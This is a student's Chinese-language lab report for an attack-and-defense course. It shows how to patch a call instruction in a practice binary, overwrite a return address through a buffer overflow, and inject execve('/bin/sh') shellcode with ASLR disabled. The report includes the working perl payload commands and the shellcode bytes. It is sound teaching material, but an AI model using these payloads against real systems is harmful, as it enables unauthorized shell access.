20232427 2025-2026-1 《網(wǎng)絡(luò)與系統(tǒng)攻防技術(shù)》實驗一實驗報告
二、基礎(chǔ)知識
1.NOP, JNE, JE, JMP, CMP匯編指令的機器碼
(1)NOP:NOP指令即“空指令”。執(zhí)行到NOP指令時,CPU什么也不做,僅僅當(dāng)做一個指令執(zhí)行過去并繼續(xù)執(zhí)行NOP后面的一條指令。(機器碼:90)
(2)JNE:條件轉(zhuǎn)移指令,如果不相等則跳轉(zhuǎn)。(機器碼:75)
(3)JE:條件轉(zhuǎn)移指令,如果相等則跳轉(zhuǎn)。(機器碼:74)
(4)JMP:無條件轉(zhuǎn)移指令。段內(nèi)直接短轉(zhuǎn)Jmp short(機器碼:EB)段內(nèi)直接近轉(zhuǎn)移Jmp near(機器碼:E9)段內(nèi)間接轉(zhuǎn)移Jmp word(機器碼:FF)段間直接(遠(yuǎn))轉(zhuǎn)移Jmp far(機器碼:EA)
(5)CMP:比較指令,功能相當(dāng)于減法指令,只是對操作數(shù)之間運算比較,不保存結(jié)果。cmp指令執(zhí)行后,將對標(biāo)志寄存器產(chǎn)生影響。其他相關(guān)指令通過識別這些被影響的標(biāo)志寄存器位來得知比較結(jié)果。
2.反匯編
(1)由已生成的機器語言(二進制語言)轉(zhuǎn)化為匯編語言的過程,也可以說是匯編的逆向過程
(2)在本次實驗中,我們在Linux環(huán)境下使用objdump反匯編工具對pwn1文件進行反匯編
(3)反匯編指令objdump -d <文件名>
3.十六進制編輯器
(1)十六進制編輯器是用于編輯單個字節(jié)數(shù)據(jù)的軟件應(yīng)用程序,主要由程序員或系統(tǒng)管理員使用。Linux系統(tǒng)中可以使用多種十六進制編輯器,在本次實驗中我主要使用xxd,xxd 是一個命令行十六進制編輯器,可以創(chuàng)建二進制文件的十六進制轉(zhuǎn)儲。
(2)%!xxd 進入十六進制編輯模式
(3)%!xxd -r 切換回原模式
三、實驗過程
(一)直接修改程序機器指令,改變程序執(zhí)行流程
首先輸入sudo su來獲取root權(quán)限,然后通過輸入hostname zhangyaozhong來改變終端名,在這里我修改為自己名字的拼音全寫,打開新終端后顯示修改成功。

通過共享文件夾(共享文件夾命名為share)將pwn1文件下載至kali中并將pwn1文件改名為pwn20232427,然后運行可執(zhí)行文件./pwn20232427

反匯編文件objdump -d pwn20232427 | more

第一列為內(nèi)存地址,第二列為機器指令、第三列為機器指令對應(yīng)的匯編語言。
根據(jù)實驗要求,我們需要修改可執(zhí)行文件,改變程序執(zhí)行流程,直接跳轉(zhuǎn)到getShell函數(shù)。這里就需要修改主函數(shù),想辦法將call foo改為call getShell。因此,需要將call 8048491中的地址8048491修改為getShell的地址804847d。
偏移量=8048491-80484ba=-41。補碼表示為0xffffffd7,與第二列機器指令中的0xd7ffffff相吻合。由此可知,要想調(diào)用getShell,偏移量為0804847d(getShell函數(shù)的首地址)-80484ba=-61=0xffffff3c顛倒為計算機存儲內(nèi)容,為0xc3ffffff,即需要將0xd7ffffff修改為0xc3ffffff。
在終端輸入vi pwn20232427 ,打開文件后為亂碼

按esc鍵,輸入:%!xxd進入十六進制編輯模式,使用/e8 d7快速找到需要修改的地址

修改地址,將d7改成c3,然后使用:%!xxd -r轉(zhuǎn)回原來亂碼格式,并使用:wq命令保存退出;
反匯編objdump -d pwn20232427 | more查看機器指令;

看到修改成功
輸入./pwn20232427顯示運行結(jié)果

成功獲取shell,即成功調(diào)用了getShell函數(shù)。
(二)通過構(gòu)造輸入?yún)?shù),造成BOF攻擊,改變程序執(zhí)行流
使用sudo apt update和sudo apt install gdb命令安裝gdb。安裝完成后輸入gdb,檢查gdb是否安裝成功。

在程序調(diào)用時,會創(chuàng)建一個棧幀,foo函數(shù)用于讀取字符串。然而,系統(tǒng)只為該函數(shù)分配了28字節(jié)的緩沖區(qū),這使程序存在緩沖區(qū)溢出漏洞。通過向這個緩沖區(qū)輸入超出其限制長度的字符串,可以覆蓋返回地址,并將其修改為指向getShell函數(shù),從而實現(xiàn)攻擊目的。
根據(jù)之前的反匯編結(jié)果,程序正常執(zhí)行時,call指令會調(diào)用foo函數(shù),并在堆棧中壓入返回地址0x80484ba。
接下來,重新上傳一個pwn1,重命名為pwn20232427temp.使用gdb調(diào)試工具對文件pwn2進行調(diào)試,命令為gdb pwn20232427temp,以確認(rèn)輸入字符串的哪幾個字符會覆蓋到返回地址。通過這種方式,可以確定覆蓋返回地址的具體位置,進一步實現(xiàn)漏洞利用。
輸入字符串1111111122222222333333334444444412345678,然后使用命令info r查看寄存器eip的值,發(fā)現(xiàn)輸入的1234(即十六進制的0x34333231)被覆蓋到了堆棧上的返回地址。因此,我們只需將這四個字符替換為getShell的內(nèi)存地址,就可以讓程序執(zhí)行g(shù)etShell函數(shù)。
根據(jù)之前的反匯編結(jié)果,getShell函數(shù)的內(nèi)存地址為0x0804847d。將該地址替換為原來的返回地址位置,并將其輸給pwn20232427temp,即可成功運行g(shù)etShell函數(shù)。


把1234換成getShell的地址0x0804847d,我們需要構(gòu)造字符串11111111222222223333333344444444\x7d\x84\x04\x08,
輸入
perl-e'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成一個包含這些16進制內(nèi)容的文件(\x0a表示回車);
使用16進制查看指令xxd input查看input文件的內(nèi)容,確認(rèn)無誤后使用(cat input;cat) | ./pwn20232427temp將input中的字符串作為可執(zhí)行文件的輸入。

成功獲取shell,即成功調(diào)用了getShell函數(shù)。
(三)注入Shellcode并執(zhí)行
1.首先準(zhǔn)備一個新的文件pwn20232427-0
execstack無法安裝,選擇安裝patchelf代替
通過以下命令對pwn20232427-0文件進行設(shè)置:
設(shè)置堆棧可執(zhí)行:
patchelf --set-execstack pwn20232427-0
查詢文件的堆棧是否可執(zhí)行:
readelf -l pwn20232427-0 | grep GNU_STACK
關(guān)閉地址隨機化:
echo "0" > /proc/sys/kernel/randomize_va_space
驗證地址隨機化是否關(guān)閉:
more /proc/sys/kernel/randomize_va_space
輸出0,說明已經(jīng)關(guān)閉

2.構(gòu)造要使用的payload
Linux下有兩種基本構(gòu)造攻擊緩沖區(qū)溢出的方法:
retaddr + nop + shellcode
nop + shellcode + retaddr
使用以下命令構(gòu)造shellcode的輸入(x1x2x3x4是占位符,后續(xù)將替換為注入shellcode的地址,即foo函數(shù)中返回地址的位置,這個地址需要我們接下來通過gdb分析找到),并將其放入名為input_shellcode的文件中:
perl -e 'print
"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
輸入以下命令將input_shellcode的輸入內(nèi)容作為pwn20232427-0的輸入:
(cat input_shellcode; cat) | ./pwn20232427-0

新打開一個終端,輸入以下命令查看pwn20232427-0文件的進程及進程號:
ps -ef | grep pwn20232427-0
可以看到,進程號分別為19785和20060,但是19785才是pwn文件的進程號。
此后,再在這個新終端中使用gdb進行調(diào)試,輸入gdb pwn20232427-0,來獲取foo函數(shù)中returnaddress的位置。

后輸入命令attach 19785,輸入剛剛查找的進程號
輸入命令disassemble foo,反編譯foo函數(shù)并進行分析
可以看到,ret的地址為0x080484ae,因此,在這里設(shè)置斷點,繼續(xù)分析

輸入命令break *0x080484ae
在新終端輸入c,c表示continue繼續(xù)運行,繼續(xù)運行后,在老終端按一下enter鍵,否則新終端的continue將一直進行。

輸入info r esp查看棧頂指針?biāo)谖恢茫缦聢D可知棧頂指針?biāo)诘奈恢脼?xffffd2fc;
使用x/16x 0xffffd2fc命令查看該地址處的存放內(nèi)容,可以看到,此處出現(xiàn)了我們之前注入的輸入0x01020304,這說明找的就是這個地址。

因此,棧頂指針地址再加4字節(jié),就是shellcode應(yīng)該處于的地址,即0xffffd2fc+4=0xffffd300。
現(xiàn)在進行shellcode的注入,將0x04030201換成上述我們計算出來的位置0xffffd300,且用機器存儲的方式,顛倒一下,重新進行輸入。在原終端中輸入perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd2\xff\xff\x00"' > input_shellcode,然后再輸入(cat input_shellcode; cat) | ./pwn20232427-0,將input_shellcode的輸入內(nèi)容作為pwn20232427-0的輸入。

執(zhí)行 ls 命令后成功顯示當(dāng)前目錄文件,確認(rèn)已通過覆蓋返回地址調(diào)用 getShell 函數(shù),完成攻擊。
四、問題及解決方案
1.無法安裝gdb
執(zhí)行 apt install gdb 時,系統(tǒng)提示找不到 gdb 包的安裝候選(Package 'gdb' has no installation candidate)。
同時,在執(zhí)行 sudo apt update 時,出現(xiàn)了無法解析 http.kali.org 的臨時故障(Temporary failure resolving 'http.kali.org'),這導(dǎo)致軟件源索引更新失敗,進而無法找到 gdb 包。

檢查后發(fā)現(xiàn)是虛擬機網(wǎng)絡(luò)連接問題,在設(shè)置中將網(wǎng)絡(luò)適配器從橋接模式改為NAT模式后解決。
2.安裝不了execstack
查閱資料和詢問同學(xué)后選擇安裝patchelf代替

浙公網(wǎng)安備 33010602011771號